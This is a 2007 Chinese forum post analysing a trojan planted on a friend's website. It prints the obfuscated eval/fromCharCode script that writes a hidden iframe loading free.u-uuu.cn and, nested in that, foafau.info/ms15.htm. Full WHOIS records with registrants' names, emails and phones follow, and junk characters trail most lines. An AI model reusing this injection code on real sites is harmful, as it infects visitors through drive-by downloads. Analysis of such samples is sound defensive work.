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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, /n7F]Ok'*  
#kX=$Bzk  
http://www.areway.cn/?p=175 :&`Yz   
y^zVb\"4  
Vzz0)`*hQ  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: Yuze9b\[  
          bK%go  
<script>t=’60,105,102,114,97,109,101, 9 il!w g?  
32,115,114,99,61,104,116,116,112,58,47,47, 4j)Y>  
102,114,101,101,46,117,45,117,117,117,46,99, =L<OTfVE  
110,47,101,114,114,111,114,46,104,116,109, Y ,?  
32,119,105,100,116,104,61,49,48,48,32,104, O#7fkL  
101,105,103,104,116,61,48,62,60,47,105,102, C["^%0lj  
114,97,109,101,62′; B|%=<1?  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> amGQ!$] %#  
                                                                                                  0i$jtCCL(  
<script>t=’60,105,102,114,97,109,101,32,115, C4Q ^WU+$j  
114,99,61,104,116,116,112,58,47,47,102,114, #JZf]rtp  
101,101,46,117,45,117,117,117,46,99,110,47, C^r3r6  
101,114,114,111,114,46,104,116,109,32,119, +U^dllL7  
105,100,116,104,61,49,48,48,32,104,101,105, ap\2={u^|  
103,104,116,61,48,62,60,47,105,102,114,97, g 4d 5G=y  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); mCtuyGY  
document.write(t);</script> )xP]rOT  
                                                                                                  ls,gQ]B:P  
<html xmlns=” @P"q`*  
http://www.w3.org/1999/xhtml sEdWBT 8  
“> l~&efAJ-$  
<head> `R8~H7{I6  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> < V"'j  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> .F)b9d[?  
<title>首页 - 爱生活家庭网 '[5tc fG#z  
                                                                                                                                                    m |,ocz  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 v (<~:]  
转换字符串后的大概内容是(谁点击后果自付): Np|i Xwl1  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… e\.|d<N?  
                                                                                                                                  R]/F{Xs  
查询玉米u-uuu.cn的详细信息: ^k^%w/fo  
Domain Name: u-uuu.cn b_Ba0h=  
ROID: 20070901s10001s64972306-cn d"5:/Mo  
Domain Status: ok |MMr}]`  
Registrant Organization: 王雷 iml*+t  
Registrant Name: 王雷 %dL|i2+*8  
Administrative Email: czlovexs@126.com "=| yM~V  
Sponsoring Registrar: 北京万网志成科技有限公司 F f& VBm  
Name Server:ns.yovole.com LjXtOF  
Name Server:ns1.yovole.com *kL1r w6  
Registration Date: 2007-09-01 17:54 -.g5|B  
Expiration Date: 2008-09-01 17:54 d2.eDEOsC  
最后PING了一下地址 都没有什么…. f]5bAs  
                                                                                                ET _}x7  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. >g93Bj*  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> )J (ekfM  
<script language=”javascript” src=” Aid{PGDk  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ,i*^fpF`F"  
> 0,m*W?^31  
这个玉米应该有可能是木马作者的: yQ+#Tlji  
foafau.info的详细信息: m98k /w_  
Access to INFO WHOIS information is provided to assist persons in X/i8$yqv  
determining the contents of a domain name registration record in the :n'QN Gj  
Afilias registry database. The data in this record is provided by ,)GCg@7B  
Afilias Limited for informational purposes only, and Afilias does not $z@e19gT  
guarantee its accuracy.  This service is intended only for query-based Ks X@e)8u  
access. You agree that you will use this data only for lawful purposes j@kBCzX  
and that, under no circumstances will you use this data to: (a) allow, e@0wF59  
enable, or otherwise support the transmission by e-mail, telephone, or q97Dn[>3  
facsimile of mass unsolicited, commercial advertising or solicitations +#Ov9b  
to entities other than the data recipient’s own existing customers; or )_.@M '?  
(b) enable high volume, automated, electronic processes that send h{<^?=  
queries or data to the systems of Registry Operator, a Registrar, or |EU}&k2  
Afilias except as reasonably necessary to register domain names or 0<v~J9i  
modify existing registrations. All rights reserved. Afilias reserves )zUV6U7v  
the right to modify these terms at any time. By submitting this query, ^n]tf9{I  
you agree to abide by this policy. FAE>N-brQ  
Domain ID:D22418703-LRMS {%S1x{U}W-  
Domain Name:FOAFAU.INFO _E'M(.B<  
Created On:20-Nov-2007 16:05:42 UTC uLhamE)  
Last Updated On:20-Nov-2007 16:05:44 UTC (: ZOoL  
Expiration Date:20-Nov-2008 16:05:42 UTC Q:-H U bB  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) >PySd"u  
Status:CLIENT DELETE PROHIBITED |nD2k,S<?  
Status:CLIENT RENEW PROHIBITED `2S{.s  
Status:CLIENT TRANSFER PROHIBITED @[ :sP  
Status:CLIENT UPDATE PROHIBITED VWfrcSZg6M  
Status:TRANSFER PROHIBITED 0U`Ic_.  
Registrant ID:GODA-040110615 m(g$T  
Registrant Name:liu hong B}P,sFghw  
Registrant Organization: O%c6vp7  
Registrant Street1:beijing ~01r c  
Registrant Street2: ~ xf9 ml  
Registrant Street3: HNU[W8mg8  
Registrant City:beijing #llc5i;  
Registrant State/Province: SfL,_X]*  
Registrant Postal Code:100000 uVscF 4  
Registrant Country:CN !0Q(x  
Registrant Phone:+86.860108888777 k92X)/ll'  
Registrant Phone Ext.: #M`ijN!Y  
Registrant FAX: 3<JZt.|  
Registrant FAX Ext.: k,?Y`s  
Registrant Email:bbbshiji@163.com =$BgIt  
Admin ID:GODA-240110615 tvb hWYe  
Admin Name:liu hong f+I*aBQ  
Admin Organization: IyP\7WZ  
Admin Street1:beijing gscs B4<  
Admin Street2: ZklidHL');  
Admin Street3: wau81rSd  
Admin City:beijing $yCj80m\  
Admin State/Province: =C#,aoa!  
Admin Postal Code:100000 `/+7@~[RU  
Admin Country:CN f4g(hjETbu  
Admin Phone:+86.860108888777 4,<~t>M1  
Admin Phone Ext.: +p<Y)Z( >6  
Admin FAX: uft~+w P  
Admin FAX Ext.: Xd|5{  
Admin Email:bbbshiji@163.com @KS:d\l}U  
Billing ID:GODA-340110615 &G<ZK9Ot}0  
Billing Name:liu hong o@pM??&x  
Billing Organization: Rut6m5>  
Billing Street1:beijing u5R^++  
Billing Street2: JHO9d:{-  
Billing Street3: *Z/B\nb  
Billing City:beijing " *Ni/p$I  
Billing State/Province: h{PLyWH  
Billing Postal Code:100000 8d$~wh  
Billing Country:CN rSEJ2%iF*  
Billing Phone:+86.860108888777 *"e[au^8*b  
Billing Phone Ext.: Zs{ `Yf^Q  
Billing FAX: mLq?-&F  
Billing FAX Ext.: Y$Uvt_  
Billing Email:bbbshiji@163.com 1km=9[;w'  
Tech ID:GODA-140110615 ;H\,w /E9  
Tech Name:liu hong PL8akA#  
Tech Organization: 0IA '8_K  
Tech Street1:beijing A>k+ 4|f  
Tech Street2: i:[B#|%  
Tech Street3: :'!?dszS  
Tech City:beijing 0q`'65 lx  
Tech State/Province: R2~Rqlti  
Tech Postal Code:100000 BAKfs/N  
Tech Country:CN M6X f}>  
Tech Phone:+86.860108888777 K@>v|JD  
Tech Phone Ext.: f%@Y XGf  
Tech FAX: Nxt/R%(  
Tech FAX Ext.: Hss{Sb(  
Tech Email:bbbshiji@163.com ?_tOqh@in  
Name Server:NS27.DOMAINCONTROL.COM #bdJ]v.n  
Name Server:NS28.DOMAINCONTROL.COM +>:X4A *  
Name Server: ;\&7smE[  
Name Server: ^ul`b  
Name Server: 5SKu\ H\  
Name Server: S3oU7*OZ  
Name Server: 2qn~A0r  
Name Server: _` D_0v(X  
Name Server: h2BD?y  
Name Server: .OWIlT4K  
Name Server: 6Q wL  
Name Server: 49kY]z|"w  
Name Server: u>? VD%  
                                                                                                          ] 2b@mX  
接着下载每个文件里面的代码: ?3z x?>sG  
一步一步看.. 4l3N#U0Q  
twN(]w}Ps|  
CRqa[boU*  
em W#ZX  
|owhF  
2]C0d8=*?  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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